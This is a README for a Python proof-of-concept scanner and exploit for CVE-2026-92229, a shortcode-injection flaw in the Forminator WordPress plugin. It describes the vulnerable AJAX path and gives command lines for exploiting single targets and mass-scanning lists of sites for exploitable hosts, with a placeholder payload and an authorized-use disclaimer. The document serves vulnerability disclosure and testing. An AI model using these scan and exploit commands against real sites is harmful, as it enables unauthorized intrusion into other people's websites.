
Python 3 PoC scanner and exploit for CVE-2026-92229, an unauthenticated arbitrary shortcode execution flaw in Forminator WordPress plugin versions 1.57.2 and below.
Python 3 PoC scanner/exploit for CVE-2026-92229 in Forminator (WPMU DEV).
| Plugin | forminator |
| Affected | ≤ 1.57.2 |
| Fixed in | 1.57.3+ |
| CVSS | 9.1 (Critical) |
| Auth | Unauthenticated |
| Vector | POST parameter current_url (quiz AJAX) |
| CWE | CWE-94 (Code Injection) |
| Credit | Kuba (Wordfence) |
In vulnerable versions, user-supplied current_url is reflected in quiz result HTML (e.g. social share attributes) and the response buffer is processed with WordPress do_shortcode(). An unauthenticated attacker can submit a quiz via admin-ajax.php with a malicious current_url embedding arbitrary shortcodes.
Primary AJAX actions:
forminator_submit_form_quizzesforminator_submit_preview_form_quizzes (preview; --preview)Fixed in 1.57.3 by limiting shortcode execution to intended text fields instead of the full HTML buffer.
pip install -r requirements.txtpip install -r requirements.txt
# Detect plugin, version, public Forminator modules (quiz answers when parseable)
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Exploit (auto nonce + quiz answers when possible)
python poc.py -u https://target.example --mode exploit \
--page-url /quiz/ --form-id 42 \
--shortcode "PROBE"
# Preview submit (no stored entry, same code path)
python poc.py -u https://target.example --mode exploit --preview \
--page-url /quiz/ --form-id 42
# Manual quiz answers if HTML parsing fails
python poc.py -u https://target.example --mode exploit \
--form-id 42 --answers "2051:7608,2052:7610"
| Option | Description |
|---|---|
-u, --url | Single target base URL |
--list | File with one URL per line |
--mode | check (default) or exploit |
--page-url | Page path or URL containing the form |
--form-id | Forminator module ID |
--form-type | quizzes, custom-forms, or poll |
--answers | Quiz answers as question_id:answer_id,... |
--shortcode | Shortcode payload (wrapped in [caption]…[/caption] inside current_url) |
--preview | Use preview AJAX action |
--threads, -j | Mass scan concurrency (default 20) |
--output | JSONL results (default cve_2026_92229_results.jsonl) |
--vuln-list | Text file for check hits (default hits.txt) |
--candidates-list | JSONL metadata for exploitable checks (default candidates.jsonl) |
--quiet | Less progress noise on mass runs |
| File | Content |
|---|---|
cve_2026_92229_results.jsonl | Per-target JSON (status, version, modules, …) |
hits.txt | Base URLs with exploitable_candidate: true |
candidates.jsonl | Hit details: form_id, page_url, form_type |
status values| Status | Meaning |
|---|---|
candidate | Vulnerable version + quiz with parsed answers |
form_no_quiz_answers | Form found but quiz answers not auto-parsed |
plugin_no_public_form | Plugin present, no public module discovered |
patched | Version ≥ 1.57.3 (or newer major) |
no_plugin | Forminator not detected |
exploitable_candidate only when quiz answers[qid] can be parsed from HTML (many sites use JS-rendered quizzes → use --answers or manual exploit).[caption])..
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
Local mass-scan lists (e.g. list.txt, FOFA exports, *.jsonl results) are listed in .gitignore and should not be committed.
For authorized security testing only. You are responsible for compliance with applicable laws and program rules.